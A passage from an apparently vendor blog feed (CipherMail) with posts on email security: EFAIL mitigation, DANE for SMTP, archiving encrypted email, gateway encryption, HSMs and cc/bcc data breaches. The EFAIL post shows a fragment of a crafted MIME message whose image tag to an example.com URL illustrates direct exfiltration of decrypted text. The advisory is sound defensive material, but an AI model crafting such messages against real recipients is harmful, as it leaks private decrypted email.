&lt;span class="nt"&gt;Content-Transfer-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;7bit&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="nt"&gt;www&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;

&lt;span class="nt"&gt;--------------BOUNDARY&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;plain&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;ISO-8859-1&lt;/span&gt;
&lt;span class="nt"&gt;Content-Transfer-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;7bit&lt;/span&gt;

&lt;span class="nt"&gt;Decrypted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;

&lt;span class="nt"&gt;--------------BOUNDARY&lt;/span&gt;
&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;Content-Transfer-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;7bit&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;--------------BOUNDARY--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The decrypted inline PGP message is added as a separate MIME part and not embedded into the other part. The decrypted message is therefore not part of the first HTML part and will therefore not  be embedded into a URL. For S/MIME, PGP/MIME this works similarly.&lt;/p&gt;
&lt;h2&gt;Generic exfiltration&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;Generic exfiltration&lt;/em&gt; attack is more difficult to exploit. With the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack, the encrypted message is modified in such a way that the resulting message becomes an HTML email containing an image pointing to an URL containing the encrypted message. S/MIME seems to be vulnerable to this attack because in general, a signed message starts with a known header.  However, you still need a mail client that resolves remote content. Signing a message does not help because the attacker can remove the signature. &lt;/p&gt;
&lt;p&gt;In general, the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack also works with PGP messages. However, PGP messages are less vulnerable if compression and Modification Detection Codes (MDC) are used. CipherMail by default compresses the email before encryption and CipherMail requires that the PGP message is protected with an MDC. If an MDC is not available or not correct, CipherMail will not decrypt the message. PGP messages decrypted with CipherMail are therefore not vulnerable to EFAIL even if the mail client automatically downloads external content.&lt;/p&gt;
&lt;h2&gt;CipherMail for Android&lt;/h2&gt;
&lt;p&gt;CipherMail for Android by default does not resolve external content. CipherMail for Android therefore is not vulnerable unless you manually activate the "Load external images" option.&lt;/p&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;The best way to mitigate the EFAIL attack is to configure your email client to not download external content. This is a sane thing to do anyway because downloading of remote content can be misused in different ways like for example to track recipients (using 1 pixel images).&lt;/p&gt;
&lt;h2&gt;Bottom line&lt;/h2&gt;
&lt;p&gt;Is EFAIL a problem with S/MIME and PGP or a problem with your email client? I certainly agree that the S/MIME standard should be improved to protect against message modification (i.e., protect agains the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack). The &lt;em&gt;Direct exfiltration&lt;/em&gt; attack however, is more an email client issue and should therefore be fixed by the email clients.&lt;/p&gt;
&lt;p&gt;CipherMail by itself is not directly vulnerable to EFAIL because CipherMail does not download remote content. The email client that shows the decrypted email however can still be vulnerable to EFAIL. &lt;/p&gt;
&lt;p&gt;Messages decrypted by the CipherMail gateway are not vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack even if you use an email client which is vulnerable to the &lt;em&gt;Direct exfiltration&lt;/em&gt; attack because CipherMail will always generate messages with correct MIME parts after decryption. PGP messages decrypted by CipherMail are also not vulnerable to the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack because a Modification Detection Code (MDC) is required and checked. If a message does not have the correct MDC, the message will not be decrypted.&lt;/p&gt;
&lt;p&gt;S/MIME Messages decrypted by CipherMail might be be vulnerable to the &lt;em&gt;Generic exfiltration&lt;/em&gt; attack if you use an email client which downloads remote content.
It is therefore strongly recommended to disable automatic download of external resources in your email client. 
Allowing your email client to download external resources is a security issue by itself and it is therefore best to disable it.&lt;/p&gt;
&lt;p&gt;We will do some further research to see if there are ways to protect S/MIME without having to wait for changes to the RFC standards.&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;For more information on how to detect if you are attacked with EFAIL see &lt;a href="efail-how-to-detect-you-are-being-attacked.html"&gt;EFAIL: how to detect you are being attacked?&lt;/a&gt;&lt;/p&gt;</content><category term="blog"/></entry><entry><title>Will DANE for SMTP solve all of your GDPR problems?</title><link href="https://www.ciphermail.com/blog/will-dane-for-smtp-solve-your-gdpr-problems.html" rel="alternate"/><published>2018-05-09T00:00:00+02:00</published><updated>2018-05-09T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2018-05-09:/blog/will-dane-for-smtp-solve-your-gdpr-problems.html</id><summary type="html">&lt;p&gt;The short answer: probably not. The long answer: keep reading.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Will DANE for SMTP solve all of your GDPR problems?&lt;/h2&gt;
&lt;p&gt;The short answer: probably not. The long answer: keep reading.&lt;/p&gt;
&lt;h2&gt;What is DANE?&lt;/h2&gt;
&lt;p&gt;According to
&lt;a href="https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities"&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DNS-based Authentication of Named Entities (DANE) is a protocol to
allow X.509 certificates, commonly used for Transport Layer Security
(TLS), to be bound to DNS names using Domain Name System Security
Extensions (DNSSEC)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In less technical terms, DANE is a protocol which allows you to securely
associate a domain name with an X.509 certificate.&lt;/p&gt;
&lt;p&gt;To support DANE, the following key ingredients are required:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The client (for example a web browser or SMTP client) and server
    must support DNSSEC.&lt;/li&gt;
&lt;li&gt;Client and server must support the DANE protocol.&lt;/li&gt;
&lt;li&gt;Server certificate must be stored in DNS and the DNS record must be
    signed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DANE has many sub-protocols, like for example DANE for SMTP, DANE for
OpenPGP etc. For this article we will only focus on DANE for SMTP.&lt;/p&gt;
&lt;p&gt;One of the reasons DANE for SMTP has been introduced is to fix a number
of security flaws with TLS and SMTP. A problem with TLS and SMTP is that
there is no direct relationship between a recipients domain and the
authoritative SMTP server for that domain. The authoritative SMTP
servers for a domain are stored in DNS MX records. In most cases, the
domain names for the listed authoritative SMTP servers are different
from the recipients' domain.&lt;/p&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;p&gt;The official domain name for the Dutch government is overheid.nl.
However, the DNS MX records for the overheid.nl domain point to servers
from another domain:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;overheid.nl.        300 IN  MX  20 mx01-koop.solvinity.com.
overheid.nl.        300 IN  MX  20 mx02-koop.solvinity.com.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the domain &lt;strong&gt;overheid.nl&lt;/strong&gt; does not match the domain
&lt;strong&gt;solvinity.com&lt;/strong&gt; it's impossible to know for certain that the servers
&lt;strong&gt;mx01-koop.solvinity.com&lt;/strong&gt; and &lt;strong&gt;mx02-koop.solvinity.com&lt;/strong&gt; are the
correct authoritative SMTP servers for overheid.nl. We can only rely on
the DNS server to give us the correct results. DNS however is not secure
by default and the DNS results should therefore not be trusted unless
DNSSEC is used.&lt;/p&gt;
&lt;p&gt;Another problem DANE tries to solve is the "Too Many Certification
Authorities" problem. In order to trust a server certificate, the
client should trust the issuer of that certificate and therefore has to
trust a large list of certificate authorities (CAs). DANE tries to
remove the CA from the equation by storing the X.509 certificate into
DNS and no longer rely on CAs.&lt;/p&gt;
&lt;h2&gt;Issues with DANE&lt;/h2&gt;
&lt;p&gt;The problem with DANE is that DNSSEC is required. DNSSEC is however
still not widely deployed. Big players like Microsoft (Office 365)&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;
and Gmail&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; at the moment do not support DNSSEC.&lt;/p&gt;
&lt;p&gt;DANE requires that DNSSEC is supported by sender and recipient. Setting
up DNSSEC is not easy and error prone.&lt;/p&gt;
&lt;p&gt;While I think the "Too Many Certification Authorities" problem is
certainly a problem, replacing many CAs by basically just one CA may not
be the solution to all problems.&lt;/p&gt;
&lt;p&gt;A more serious problem with DANE is that it's often presented as the
solution to email encryption. DANE is a protocol to make a TLS
connection less vulnerable to a "Man in The Middle attack". However,
it does not provide stronger security than what is provided by TLS. TLS
only encrypts the connection. The individual messages are not encrypted.
The sender can only be certain that the connection to the first SMTP
server is encrypted and secured with DANE. What happens next, is no
longer under control of the sender. When the email reaches the users
Inbox, the message may have been copied and stored in plain text
multiple times or even altered without detection.&lt;/p&gt;
&lt;h2&gt;Combine DANE with message encryption&lt;/h2&gt;
&lt;p&gt;While DANE improves the security of TLS, DANE by itself may not be
sufficient to fully protect your email. The best option is to use DANE
for protecting the channel and S/MIME for protecting the message by
encryption and signing.&lt;/p&gt;
&lt;hr&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://web.archive.org/web/20201112021649/https://office365.uservoice.com/forums/289138-office-365-security-compliance/suggestions/32360299-dnssec-support-in-office-365"&gt;DNSSEC support in Office 365&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://dane.sys4.de/smtp/gmail.com"&gt;SMTP DNSSEC check&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="blog"/></entry><entry><title>Encrypted email and archiving requirements</title><link href="https://www.ciphermail.com/blog/encrypted-email-and-archiving.html" rel="alternate"/><published>2017-01-31T00:00:00+01:00</published><updated>2017-01-31T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2017-01-31:/blog/encrypted-email-and-archiving.html</id><summary type="html">&lt;p&gt;Desktop email encryption might be conflicting with the requirement to archive email in a readable and searchable form. Placing an email encryption gateway before the archiving system might help to fulfill both requirements.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Even though we believe that email encryption at the gateway level is the
easiest way to encrypt your email&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;, in certain
situations, desktop to desktop encryption (using Outlook for example)
might still be preferred. For example the email infrastructure might be
completely outsourced and regulatory requirements demand that the
external company should have no access to the contents of sensitive
emails.&lt;/p&gt;
&lt;p&gt;There are various legal discovery rules requiring emails to be archived
for a number of years (for example HIPAA, SEC etc.) If email is
encrypted on the desktop it will automatically be archived in encrypted
form. Archiving encrypted email sounds like a good idea from a security
point of view. However, storing email in encrypted form might lead to
some problems later in time when email has to be retrieved from the
archive. To access the contents of the email, the correct private key is
required to decrypt the email. A problem with that is that it is
impossible to know in advance which emails need to be retrieved from
archive later in time. Therefore, all private keys used for email
encryption must be securely stored together with the email archive. For
small organizations this might be doable. For large organizations
however keeping a record of all private keys might be more problematic.
Imagine a company with 10,000+ employees. If every employee gets a new
certificate every year and email should be kept for 10 years, at least
100,000 keys should be stored. Even if the company manages to store all
private keys, there might still be problems adhering to the required
legal discovery rules.&lt;/p&gt;
&lt;p&gt;For example searching the archive for certain content is not supported
unless the archiving solution has access to all private keys and all
encrypted emails are decrypted by the archiving solution. Even if the
archiving solution is able to decrypt all email, decrypting and
searching a 10-year-old archive of millions of emails can take a long
time. Another problem is that you only know whether you have access to
the correct private key if you can decrypt the message successfully.
What happens if you later find out you forgot to archive some private
keys? Or if some department issued their own certificates and those
certificates and keys were not properly archived. If a legal order
demands that you hand over certain emails, you need to be absolutely
certain that you can find and decrypt those emails.&lt;/p&gt;
&lt;p&gt;Instead of archiving encrypted email, a better solution might be to
decrypt the email just before archiving. This way there is no need to
keep all encryption keys for a long time (only as long as the
certificate is valid) and you can be certain that all email can be read.
By placing a CipherMail gateway between the email server and the
archiving system, all email will be decrypted before sending it to the
archiving system (see image below). This even works for email forwarded
by an Exchange journaling agent (the CipherMail gateway will decrypt the
attached email). All available private keys can be imported into the
gateway or, if there are many private keys, private keys can be imported
on demand.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Drawing of email archiving setup with CipherMail Gateway" src="https://www.ciphermail.com/images/encrypted-email-and-archiving.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Storing all private keys on a single location can be a security issue.
To securely store private keys a Hardware Security Module (HSM) is
advised&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Because the decryption gateway is
able to decrypt all email, access to the gateway should only be allowed
to certain key personnel.&lt;/p&gt;
&lt;p&gt;Desktop to desktop email encryption is one of the most secure ways to
secure your email. Desktop email encryption however might be conflicting
with the requirement to archive email in a readable and search able
form. Placing an email encryption gateway before the archiving system
might help to fulfill both requirements.&lt;/p&gt;
&lt;hr&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://www.ciphermail.com/news/what-does-it-take-for-johnny-to-start-encrypting-his-email.html"&gt;What does it take for Johnny to start encrypting his email?&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://www.ciphermail.com/news/using-an-hsm-to-protect-your-encryption-and-signing-keys.html"&gt;Using an HSM to protect your encryption and signing keys&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="blog"/></entry><entry><title>What does it take for Johnny to start encrypting his email?</title><link href="https://www.ciphermail.com/blog/what-does-it-take-for-johnny-to-start-encrypting-his-email.html" rel="alternate"/><published>2016-05-30T00:00:00+02:00</published><updated>2016-05-30T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2016-05-30:/blog/what-does-it-take-for-johnny-to-start-encrypting-his-email.html</id><summary type="html">&lt;p&gt;Why are most emails not encrypted? This might be because most email encryption products are too difficult to use. We propose that email encryption should be done at the gateway level.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;What does it take for Johnny to start encrypting his email?&lt;/h2&gt;
&lt;h2&gt;Email is here to stay&lt;/h2&gt;
&lt;p&gt;Despite the growing popularity of applications like WhatsApp, email is still considered to be the most important 
communication tool for online workers &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; and is likely to grow in importance 
over the next five years&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. 
A problem with email however is that email was designed in a time when Internet security was non existing. Email 
can be easily forged and intercepted. Growing economic espionage is becoming more and more a problem for companies 
worldwide. The FBI estimates that economic espionage 
"costs the American economy hundreds of billions of dollars per year" &lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;. 
New laws, like the European "General Data Protection Regulation", requires companies to protect all personal data. 
Non compliance can lead to "a fine up to 100 000 000 EUR or up to 5% of the annual worldwide turnover in case of an 
enterprise, whichever is greater".&lt;/p&gt;
&lt;h2&gt;Rules and regulations&lt;/h2&gt;
&lt;p&gt;Today, most users are no longer surprised when they hear about the security issues involving email. Most professions 
have strict rules and regulations on how to deal with privacy sensitive information (for example HIPAA in the medical 
industry). What is surprising however is that even though most users are aware that unencrypted email is not safe, 
many users still send privacy sensitive information unencrypted. Unfortunately there is a big gap between knowing 
and doing.&lt;/p&gt;
&lt;h2&gt;The role of auditors&lt;/h2&gt;
&lt;p&gt;In order to improve the security of their digital "Fort Knox", organizations spend  large sums auditing and protecting 
their IT infrastructure. Sometimes companies are even required to buy firewalls from two, or more, vendors. If a 
vulnerability is found in firewall from vendor A, you will still have a backup firewall from vendor B. Strangely 
enough, it looks like auditors think their responsibility of what needs to be audited stops at the borders of 
the company's infrastructure. In other words, when data has left the company's infrastructure, it seems the company 
is no longer responsible for the data. Of course auditors are not stupid. They are aware that email can be forged 
and intercepted. However, since most companies are still allowed to use unencrypted email, even for privacy sensitive 
data, it seems most auditors turn a blind eye when it comes to email encryption.&lt;/p&gt;
&lt;h2&gt;Why is email encryption not used?&lt;/h2&gt;
&lt;p&gt;Email encryption products have been available for years and most email clients already have encryption capabilities 
built-in. If email encryption is already supported out the box, why is email encryption not used more often? 
There are a couple of reasons why email encryption is not popular. 
The paper "Why Johnny can’t encrypt: a usability evaluation of PGP 5.0" published in 1999, discusses
why email encryption products are hard to use and why email encryption is not used more often. In my opinion the 
two most important conclusions of the article are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Individual users are not motivated to encrypt their email.&lt;/li&gt;&lt;/li&gt;
&lt;li&gt;Email encryption is too complex.&lt;/li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Users might not be motivated to encrypt their email because users do not think encryption is important. 
"I have never encrypted my email so why should I change this" is an often heard excuse. The first conclusion 
might also be related to the second conclusion. If email encryption was easy, more people would be motivated 
to encrypt their email. If email encryption is too difficult to use, people will either send email unencrypted, 
or they will find different ways to send email. Recently, the Dutch minister of economic affairs, reported that 
he uses his personal email account for work related email and that his personal email account was hacked. 
It is against the rules for a minister to send work related emails to personal email accounts. The reason 
for him not using the official work accounts are unclear, but my guess is that it was probably too difficult 
for him to send sensitive documents via his work mail account and he therefore chose the easier route using 
his personal mail account.&lt;/p&gt;
&lt;h2&gt;How to make email encryption easier?&lt;/h2&gt;
&lt;p&gt;I think the best option for email encryption is to encrypt email at the network level using a centralized email 
encryption gateway. The main benefits of an email encryption gateway is that it allows you to define a centralized 
security policy. For example, you can define a policy that all email to a certain domain must be encrypted. 
Because the policy is centralized, users do not have to think whether to encrypt their email. 
The system encrypts automatically if required. The administrator is responsible for the security policy and for 
configuring the correct keys. Key management is too complex for end-users. An additional benefit of a centralized 
encryption gateway is that it is still possible to scan for spam and viruses at the gateway level. This is not 
possible if encryption is done at the desktop level because the centralized virus scanner cannot scan encrypted 
email for viruses. A gateway solution also supports a hybrid mode where digital signing is done at the desktop 
level and encryption at the gateway level.&lt;/p&gt;
&lt;h2&gt;Is Transport Layer Security (TLS) the solution?&lt;/h2&gt;
&lt;p&gt;Some might think "but this can all be done with TLS!". This is only partially true. Without going through all the 
details, I will try to explain why TLS is not sufficient. TLS only protects the communication channel but not the 
individual messages. Another problem with TLS is that you can only enforce a secure connection to the first hub. 
If an email is handled by an intermediate mail server, you cannot enforce TLS from the intermediate mail server 
to the next because you are no longer in control of the email. Another problem is that TLS is vulnerable to a 
"Man In The Middle" attack. This is especially so with SMTP. The problem with SMTP is that there is no inherent 
relationship between the domain of a recipient and the domain of the mail server responsible for handling email 
for that domain. Until DANE is widely supported, TLS will be vulnerable to a "Man In The Middle" attack.&lt;/p&gt;
&lt;h2&gt;Use open standards&lt;/h2&gt;
&lt;p&gt;To make email encryption between servers successful, open standards should be used. Using open standards also 
lowers the risk of a vendor lock-in. There are currently two Internet standards for email encryption: 
S/MIME and OpenPGP. These two standards are supported by multiple vendors and are supported by many open source 
solutions. With most gateway solutions, you can configure domain-to-domain encryption. This makes email encryption 
completely transparent for end users. Future standards like DANE for S/MIME or DANE for OpenPGP makes key exchange 
between gateways and desktop clients virtually automatic.&lt;/p&gt;
&lt;hr&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://www.pewinternet.org/2014/12/30/technologys-impact-on-workers/"&gt;Pew Research 2014&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://www.reuters.com/article/us-usa-work-emails-idUSKCN0QV1I620150826"&gt;Reuters 2015&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;a href="https://www.fbi.gov/investigate/counterintelligence#Economic-Espionage"&gt;FBI Economic Espionage&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="blog"/></entry><entry><title>Using an HSM to protect your encryption and signing keys</title><link href="https://www.ciphermail.com/blog/using-an-hsm-to-protect-your-encryption-and-signing-keys.html" rel="alternate"/><published>2016-05-23T00:00:00+02:00</published><updated>2016-05-23T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2016-05-23:/blog/using-an-hsm-to-protect-your-encryption-and-signing-keys.html</id><summary type="html">&lt;p&gt;A Hardware Security Module (HSM) can be used to securely store your private keys on a tamper-proof device. This is especially important when using qualified certificates.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Like any application that uses private keys, there is always the issue
on how to securely store sensitive private key material. The CipherMail
gateway stores all settings, including keys and certificates, in a
database. One of the benefits of storing all data in a database is that
it makes it simple to do backups, full clustering and fail-over.&lt;/p&gt;
&lt;p&gt;Even though all sensitive data, like for example private keys, is
encrypted with a configurable password, anyone with access to the
database contents and the system password might be able to get access to
the private keys. This is not specifically a problem of the CipherMail
gateway. Any application that uses private keys, and which does not use
specialized hardware to securely store the private key material, has the
same problem. It is therefore important that access to the database is
only allowed to authorized personnel and that system backups of the
gateway are encrypted with a strong password.&lt;/p&gt;
&lt;p&gt;To make sure that private keys can never be copied, even with full
physical access, a Hardware Security Module (HSM) should be used. An HSM
is basically a big smart card. It generates private keys directly on the
device and stores the private keys on tamper proof hardware. An HSM also
provides additional security functionality like for example a built-in
secure random generator. For FIPS 140 level 2 and up, an HSM is required
because FIPS 140-2 requires physical security mechanisms.&lt;/p&gt;
&lt;p&gt;Using an HSM for encryption and digital signing of email can be
important if you want to use qualified certificates. For example one of
our clients issue their own trusted certificates from an external CA
(&lt;a href="https://www.primekey.se"&gt;EJBCA&lt;/a&gt;) connected to the gateway. If the
gateway is instructed to digitally sign email, the gateway can
automatically request an S/MIME signing certificate from the external
CA. The private key for the signing certificate is generated on the
attached HSM and the certificate signing request (CSR) is sent to the CA
which will then automatically issue the certificate.&lt;/p&gt;
&lt;p&gt;By using an HSM your security level can be drastically improved. The
downside of an HSM is that an HSM can be expensive. You need at least
two, preferably in a clustered setup, in case one breaks down. The
CipherMail gateway can use an HSM for S/MIME and PGP keys (most other
gateways do not support storing PGP keys on an HSM). The CipherMail
gateway has been tested with &lt;a href="http://www.thales-esecurity.com"&gt;Thales
nCipher&lt;/a&gt;,
&lt;a href="https://hsm.utimaco.com"&gt;Utimaco&lt;/a&gt; and
&lt;a href="http://www.safenet-inc.com/products/data-protection/hardware-security-modules-hsms"&gt;Safenet&lt;/a&gt;
HSMs.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>Why leaking email addresses is a data breach</title><link href="https://www.ciphermail.com/blog/why-leaking-email-addresses-is-a-data-breach.html" rel="alternate"/><published>2016-05-15T00:00:00+02:00</published><updated>2016-05-15T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2016-05-15:/blog/why-leaking-email-addresses-is-a-data-breach.html</id><summary type="html">&lt;p&gt;Why leaking email addresses is a data breach and what can be done to prevent the common cc vs bcc mistake.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Every now and then a news article shows up that someone forgot to use the bcc field instead of the cc field thereby leaking 
the email addresses of all the recipients. &lt;/p&gt;
&lt;p&gt;If the email is from your local sports club, most recipients would probably 
not consider this to be a data breach (although technically it is). If the email is from a clinic however, I guess 
most recipients would think differently. &lt;/p&gt;
&lt;p&gt;For example in 2015, an HIV clinic sent a news letter to 780 recipients
(&lt;a href="https://www.theguardian.com/technology/2015/sep/02/london-clinic-accidentally-reveals-hiv-status-of-780-patients"&gt;Inquiry launched after HIV clinic reveals hundreds of patients' identities&lt;/a&gt;)
Instead of using the bcc field, the sender used the cc field thereby revealing the identities of people having HIV.&lt;/p&gt;
&lt;p&gt;There are plenty of other similar incidents which are considered to be a data breach:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.nzherald.co.nz/politics/news/article.cfm?c_id=280&amp;objectid=10874338" rel="nofollow"&gt;Another government agency apologises for privacy breach&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.theregister.co.uk/2016/01/14/ftc_leaks_privacy_conf_attendee_info/" rel="nofollow"&gt;FTC apologizes for leaking attendee details to privacy conference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.thefirearmblog.com/blog/2016/01/15/breaking-the-batfe-leaked-the-emails-of-e-form-users/" rel="nofollow"&gt;The BATFE Leaked The Emails of 1,400 E-form Users&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most of these mistakes are human errors, i.e. the sender should have used bcc instead of cc. What is striking however 
is that most companies do not use any sort of protection against these common mistakes. Why for example is Outlook 
allowing a sender to specify more than a dozen of email recipients in the cc field?&lt;/p&gt;
&lt;p&gt;Instead of handling the cc problem client side (for example using an Outlook plugin), a system wide content scanner can 
be used instead. &lt;/p&gt;
&lt;p&gt;For example the CipherMail email encryption gateway has a DLP engine which can be instructed to quarantine the email if 
the DLP engine detected more than a certain number of email addresses in the email (cc email addresses are stored in the 
email, bcc addresses are not).  If a message is stored in quarantine, the DLP engine will send a message to the sender of the 
message and to the DLP managers notifying that the message was quarantined. The DLP managers can inspect the message and release the message 
after approval. Alternatively, the quarantine can be configured to be "self managed". This allows the sender to check 
the message stored in quarantine and release the message after self approval.&lt;/p&gt;
&lt;p&gt;See &lt;a href="https://www.ciphermail.com/dlp-example-patterns.html"&gt;example DLP patterns&lt;/a&gt; for some DLP patterns including a 
pattern which quarantines the message if more than 20 email addresses are detected.&lt;/p&gt;
&lt;p&gt;Leaking email addresses is considered to be a data breach according to the General Data Protection Regulation (GDPR) 
and the Dutch "meldplicht datalekken" (and in similar laws in most other countries). Even though you can instruct 
your employees to not make the cc vs bcc mistake, chances are that mistakes are still being made. Having an extra 
check in place to catch most of these errors, can help to prevent these common mistakes.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>Encrypted email, spam and the German law</title><link href="https://www.ciphermail.com/blog/encrypted-email-spam-and-the-german-law.html" rel="alternate"/><published>2016-05-10T00:00:00+02:00</published><updated>2016-05-10T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2016-05-10:/blog/encrypted-email-spam-and-the-german-law.html</id><summary type="html">&lt;p&gt;How to scan incoming encrypted email for viruses and spam and still be compliant with German law.&lt;/p&gt;</summary><content type="html">&lt;p&gt;More and more companies are starting to use some form of email encryption. A problem with email encryption however 
